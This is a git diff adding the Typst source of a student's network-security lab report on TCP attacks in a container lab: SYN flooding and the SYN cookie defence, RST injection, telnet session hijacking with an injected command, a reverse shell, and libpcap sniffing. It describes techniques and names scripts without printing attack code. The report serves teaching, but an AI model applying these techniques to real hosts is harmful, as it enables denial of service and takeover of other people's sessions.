par(first-line-indent: 2em, text(font: fsong, size: 12pt, "(2)报告正文最多可设四级标题,字体均为黑体,第一级标题字号为4号,其余各级标题为小4号;标题序号第一级用“一、”、“二、”……,第二级用“(一)”、“(二)” ……,第三级用“1.”、“2.” ……,第四级用“(1)”、“(2)” ……,分别按序连续编排。"))
|
||||
|
||||
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "(3)正文插图、表格中的文字字号均为5号。"))
|
||||
|
||||
pagebreak()
|
||||
|
||||
set page(
|
||||
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
|
||||
numbering: "1",
|
||||
number-align: center,
|
||||
)
|
||||
|
||||
set heading(numbering: "1.1")
|
||||
// set text(font: hei, lang: "zh")
|
||||
|
||||
show heading: it => box(width: 100%)[
|
||||
#v(0.50em)
|
||||
#set text(font: hei)
|
||||
#counter(heading).display()
|
||||
// #h(0.5em)
|
||||
#it.body
|
||||
]
|
||||
// Main body.
|
||||
set par(justify: true)
|
||||
|
||||
body
|
||||
}
|
||||
|
||||
#let para(t) = par(first-line-indent: 2em, text(font: song, size: 10.5pt, t))
|
||||
157
Tcp/main.typ
Normal file
157
Tcp/main.typ
Normal file
@@ -0,0 +1,157 @@
|
||||
#import "labtemplate.typ": *
|
||||
#show: nudtlabpaper.with(title: "TCP 攻击实验",
|
||||
author: "程景愉",
|
||||
id: "202302723005",
|
||||
training_type: "无军籍",
|
||||
grade: "2023",
|
||||
major: "网络工程",
|
||||
department: "计算机学院",
|
||||
advisor: "柳林",
|
||||
jobtitle: "教授",
|
||||
lab: "307-208",
|
||||
date: "2026.05.04",
|
||||
header_str: "《网络安全》实验报告",
|
||||
)
|
||||
#set page(header: [
|
||||
#set par(spacing: 6pt)
|
||||
#align(center)[#text(size: 11pt)[《网络安全》实验报告]]
|
||||
#v(-0.3em)
|
||||
#line(length: 100%, stroke: (thickness: 1pt))
|
||||
],)
|
||||
|
||||
#show heading: it => box(width: 100%)[
|
||||
#v(0.50em)
|
||||
#set text(font: hei)
|
||||
#counter(heading).display()
|
||||
#it.body
|
||||
]
|
||||
|
||||
// 代码块样式
|
||||
#show raw.where(block: true): it => box(
|
||||
fill: rgb("#f5f5f5"),
|
||||
inset: (x: 12pt, y: 10pt),
|
||||
radius: 6pt,
|
||||
stroke: (thickness: 1pt, paint: rgb("#e0e0e0")),
|
||||
it
|
||||
)
|
||||
|
||||
#outline(title: "目录",depth: 3, indent: 2em)
|
||||
#pagebreak()
|
||||
|
||||
= 实验目的
|
||||
#para[
|
||||
TCP 协议是互联网的核心协议之一,其三次握手和连接管理机制虽然保证了传输的可靠性,但也引入了一些潜在的安全漏洞。本次实验旨在通过亲身实践,深入理解 TCP 协议的常见攻击方式及其背后的技术原理。具体目标包括:
|
||||
]
|
||||
- 理解 TCP SYN 泛洪(SYN Flood)攻击的原理,掌握使用 Scapy 和 C 语言实现该攻击的方法,并验证 SYN Cookies 防御机制的有效性。
|
||||
- 掌握 TCP 重置(Reset)攻击的技术细节,学习如何通过伪造 RST 包来强制中断已建立的 TCP 连接。
|
||||
- 实践 TCP 会话劫持(Session Hijacking)技术,理解如何通过监听和预测序列号在现有会话中注入恶意指令。
|
||||
- 掌握利用会话劫持创建反向 Shell(Reverse Shell)的方法,理解该技术在实际渗透测试中的重要作用。
|
||||
- 学习使用 libpcap 库和原始套接字(Raw Socket)在 C 语言中实现底层的数据包嗅探与伪造。
|
||||
|
||||
= 实验原理
|
||||
== TCP 三次握手与 SYN 泛洪
|
||||
#para[
|
||||
TCP 建立连接需要三次握手:客户端发送 SYN,服务器回复 SYN+ACK 并分配资源进入半连接(SYN-RECV)状态,最后客户端回复 ACK。SYN 泛洪攻击通过发送大量的 SYN 请求但不完成最后一步,使服务器的半连接队列(Backlog Queue)被占满,从而拒绝合法用户的连接请求。
|
||||
]
|
||||
|
||||
== TCP 重置与会话劫持
|
||||
#para[
|
||||
TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号和序列号,就可以伪造一个 RST 包发送给其中一方,导致连接被强制断开。
|
||||
]
|
||||
#para[
|
||||
会话劫持则更进一步,攻击者不仅要断开连接,而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号,接收方会认为这些数据来自合法的对端,从而执行注入的指令。
|
||||
]
|
||||
|
||||
== 反向 Shell
|
||||
#para[
|
||||
反向 Shell 是指被攻击者主动连接攻击者的监听端口,并将自己的 Shell(如 `/bin/bash`)的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。
|
||||
|
||||
= 实验环境
|
||||
#align(center)[#table(
|
||||
columns: (auto, auto, auto),
|
||||
rows:(2em, 2em, 2em),
|
||||
inset: 10pt,
|
||||
align: horizon+center,
|
||||
table.header([*主机角色*], [*IP地址*], [*说明*]),
|
||||
"Attacker(攻击者)", "10.9.0.1 (host)", "运行攻击脚本,具有混杂模式权限",
|
||||
"Victim (受害者)", "10.9.0.5", "运行 telnet 服务的目标服务器",
|
||||
"User1 (合法用户)", "10.9.0.6", "实验中用于建立正常连接的主机",
|
||||
)]
|
||||
|
||||
= 实验步骤及结果
|
||||
|
||||
== 任务集 1:SYN 泛洪攻击
|
||||
|
||||
=== 任务 1.1:使用 Python 发起攻击
|
||||
#para[
|
||||
使用 Scapy 编写 `synflood.py`,循环发送随机源 IP、随机源端口的 SYN 包到受害者 10.9.0.5 的 23 端口。
|
||||
]
|
||||
#figure(
|
||||
caption: [请在此插入截图:展示运行 synflood.py 期间,Victim 上的 netstat -tna 输出,可见大量 SYN_RECV 状态],
|
||||
)
|
||||
|
||||
=== 任务 1.2:使用 C 语言发起攻击
|
||||
#para[
|
||||
C 语言实现相比 Python 具有更高的发包效率。通过静态编译并在攻击者容器中运行,可以观察到半连接队列被迅速填满。
|
||||
]
|
||||
#figure(
|
||||
caption: [请在此插入截图:展示 C 语言攻击下,Victim 的半连接队列几乎瞬间达到上限],
|
||||
)
|
||||
|
||||
=== 任务 1.3:启用 SYN Cookie 防御
|
||||
#para[
|
||||
通过 `sysctl -w net.ipv4.tcp_syncookies=1` 启用防御机制后,即使在攻击持续期间,合法用户仍能通过 telnet 成功登录。
|
||||
]
|
||||
|
||||
== 任务 2:TCP 重置攻击
|
||||
#para[
|
||||
编写 `reset_attack.py` 监听 User1 到 Victim 的流量,捕获到包后立即提取序列号并构造 RST 包发回 Victim。
|
||||
]
|
||||
#figure(
|
||||
caption: [请在此插入截图:User1 的 telnet 窗口显示 "Connection closed by foreign host"],
|
||||
)
|
||||
|
||||
== 任务 3:TCP 会话劫持
|
||||
#para[
|
||||
在会话劫持中,我们注入了 `touch /tmp/hijack_successful` 指令。
|
||||
]
|
||||
#figure(
|
||||
caption: [请在此插入截图:在 Victim 容器中查看 /tmp/hijack_successful 文件已成功创建],
|
||||
)
|
||||
|
||||
== 任务 4:创建反向 Shell
|
||||
#para[
|
||||
通过劫持 telnet 会话注入反向 Shell 指令,使 Victim 连接到攻击者的 nc 监听端口。
|
||||
]
|
||||
#figure(
|
||||
caption: [请在此插入截图:攻击者的 nc 窗口成功获得 Victim 的交互式 Shell 提示符],
|
||||
)
|
||||
|
||||
== 任务集 2:基于 C 的嗅探与伪造
|
||||
#para[
|
||||
本部分使用 libpcap 实现嗅探器,并使用 Raw Socket 实现伪造器。
|
||||
]
|
||||
|
||||
=== 任务 2.1A:理解嗅探器工作原理
|
||||
#para[
|
||||
*问题 1:必不可少的库调用序列*
|
||||
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
|
||||
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
|
||||
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
|
||||
4. `pcap_loop()`: 进入捕获循环,对每个包调用回调函数。
|
||||
|
||||
*问题 2:为何需要 Root 权限?*
|
||||
嗅探程序需要创建原始套接字并开启网卡的混杂模式,这些操作涉及到对硬件和底层网络栈的直接控制,为了安全起见,操作系统仅允许特权用户(Root)执行。如果非特权用户运行,`pcap_open_live()` 将返回权限错误。
|
||||
|
||||
*问题 3:混杂模式(Promiscuous Mode)*
|
||||
在实验中,将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式,0 则关闭。开启后,攻击者可以捕获到局域网内任意两台主机(如 User1 和 Victim)之间的通信;关闭后,仅能捕获到发往本机或广播地址的流量。
|
||||
|
||||
=== 任务 2.2:基于 Raw Socket 的伪造
|
||||
#figure(
|
||||
caption: [请在此插入截图:C 语言嗅探器成功捕获到由 spoofer.c 发出的伪造 ICMP 包],
|
||||
)
|
||||
|
||||
= 实验总结
|
||||
#para[
|
||||
本次实验全面覆盖了 TCP 协议层的经典攻击。通过 SYN 泛洪,我深刻理解了 TCP 资源管理中的脆弱性;通过重置攻击和会话劫持,我认识到 TCP 序列号在安全验证中的局限性。C 语言底层编程的实践则让我对网络协议栈的二进制结构有了更直观的把握。
|
||||
]
|
||||
1
Tcp/reverse_shell.log
Normal file
1
Tcp/reverse_shell.log
Normal file
@@ -0,0 +1 @@
|
||||
Listening on 0.0.0.0 9090
|
||||
Reference in New Issue
Block a user